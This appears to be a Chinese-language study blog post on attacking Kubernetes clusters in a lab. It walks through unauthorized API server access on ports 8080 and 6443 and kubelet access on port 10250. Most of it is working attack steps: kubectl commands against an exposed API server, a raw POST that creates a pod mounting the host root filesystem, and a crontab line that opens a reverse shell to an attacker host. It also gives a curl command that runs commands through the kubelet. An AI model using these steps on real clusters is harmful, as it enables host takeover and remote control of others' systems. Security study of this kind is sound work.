密码的,搭了三天的k8s环境,来来回回十多次,都给老子搞崩溃了还是没弄好。老子不伺候你了,借用小迪老师的截图来写算求了
什么是k8s?
一个开源的容器编排和管理系统。它的主要功能是自动化地部署、扩展和管理容器化的应用程序,使得这些应用程序可以更加高效、可靠、可伸缩地运行。
密码的,还是一头雾水。中译中,是一个应用系统,主要目的是管理云平台中多个主机的容器。正好前面有学习过docker方面的知识,那可以浅浅这么说:咳咳咳,这个东西就是用来方便管理docker的
下面是它的结构图 Master节点-控制节点 Node节点-一台k8s集群中的主机 Pod-用docker在主机内实现的容器
那么这里面有什么安全问题呢?
请看大屏幕! 这里面存在的攻击点主要建立在1-6上,后面的容器逃逸和横向移动都是需要拿到一些权限才能后续发展的
当然这些对应的服务都是有相应端口的,如果有暴露在公网上的k8s集群,可以通过网络测绘取搜端口号探测是否存在漏洞
API未授权访问
8080
这个问题,主要攻击针对Master节点,可以从上方的图中看到,APIServer在Master节点内。根据端口号可以看到有8080和6443端口。8080-http服务,6443-https服务。
8080存在于k8s的v2版本中,v3版本默认不开启http8080,只允许https6443来访问。现在大部分版本已经来到了6443,判断标准k8s<1.16为旧版本
如果看到以下内容,则是未授权访问,出现此情况是因为在/ etc / kubernetes / manifests /目录下添加了两行内容
--insecure - port = 8080
--insecure - bind - address = 0.0.0.0
#意思是开放8080端口,允许所有ip访问
漏洞利用
可以使用k8s自带的连接工具,连接该Master节点获取信息,容器信息
kubectl.exe -s 192.168.139.130:8080 get nodes
kubectl.exe -s 192.168.139.130:8080 get pods
或者可以创建yaml文件,然后系统根据该yaml文件创建容器,进入容器内部写一个计划任务反弹shell 危害极大
kubectl -s 192.168.139.130:8080 create -f test.yaml#创建yaml文件
kubectl -s 192.168.139.130:8080 --namespace=default exec -it test bash#进入名为test的容器
echo -e "**** root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" >> /mnt/etc/crontab#写计划任务
以下内容是对命令的演示
解释:创建一个v1版本的id为test的Pod,使用的镜像是nginx,把主机的根目录/挂载到容器内的/mnt下(这就是为什么计划任务能反弹shell的原因)
我们知道/etc/crontab是主机计划任务表,将他挂载到/mnt下,相当于我们可以在/mnt目录下可以修改主机/etc/crontab的内容,所以上面的命令是/mnt/etc/crontab。然后主机就会执行这个计划任务实现反弹shell
如图,就是在Node节点中创建一个新pod
这里将yaml文件中的name替换成了xiaodi,所以get pods最后一行是xiaodi,按照上面yaml文件的内容这里是test
有图有真相,在容器中写入计划任务,真机中可以看到写入了
然后等一下就受到shell了
6443漏洞利用
6443出现像8080一样可以访问到的问题是因为写入了以下指令
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster -admin --user=system:anonymous
发送数据包 传输的json数据就是和上面yaml文件差不多 注意不要加pod名字,会上传不了。请看下面数据包
- 创建恶意pods
https://192.168.139.130:6443/api/v1/namespaces/default/pods这里什么都没有
POST:
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
直接连接判断可不可以连接到
- 连接判断pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 get pods
- 连接执行pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 --namespace=default exec -it test02 bash#进入容器
#--insecure-skip-tls-verify意思是跳过证书验证,遇到输入账号密码随便输
后面的写入计划任务操作就和8080一样了
Kubelet未授权访问
由于/var/lib/kubelet/config.yaml修改 authentication 的 anonymous 为 true,将 authorization mode 修改为 AlwaysAllow。造成了以下漏洞
知道出现类似以上界面的情况下后,可以断定有kubelet未授权访问漏洞
然后访问https://ip地址/runningpods/可以获取三个参数namespace,pod,container
根据获取到的三个参数敲入命令可以直接执行
curl -XPOST -k
"https://192.168.139.132:10250/run/<namespace>/<pod>/<container>"
-d "cmd=id"
当前环境下仍为容器,还需逃逸出来才行
Comments NOTHING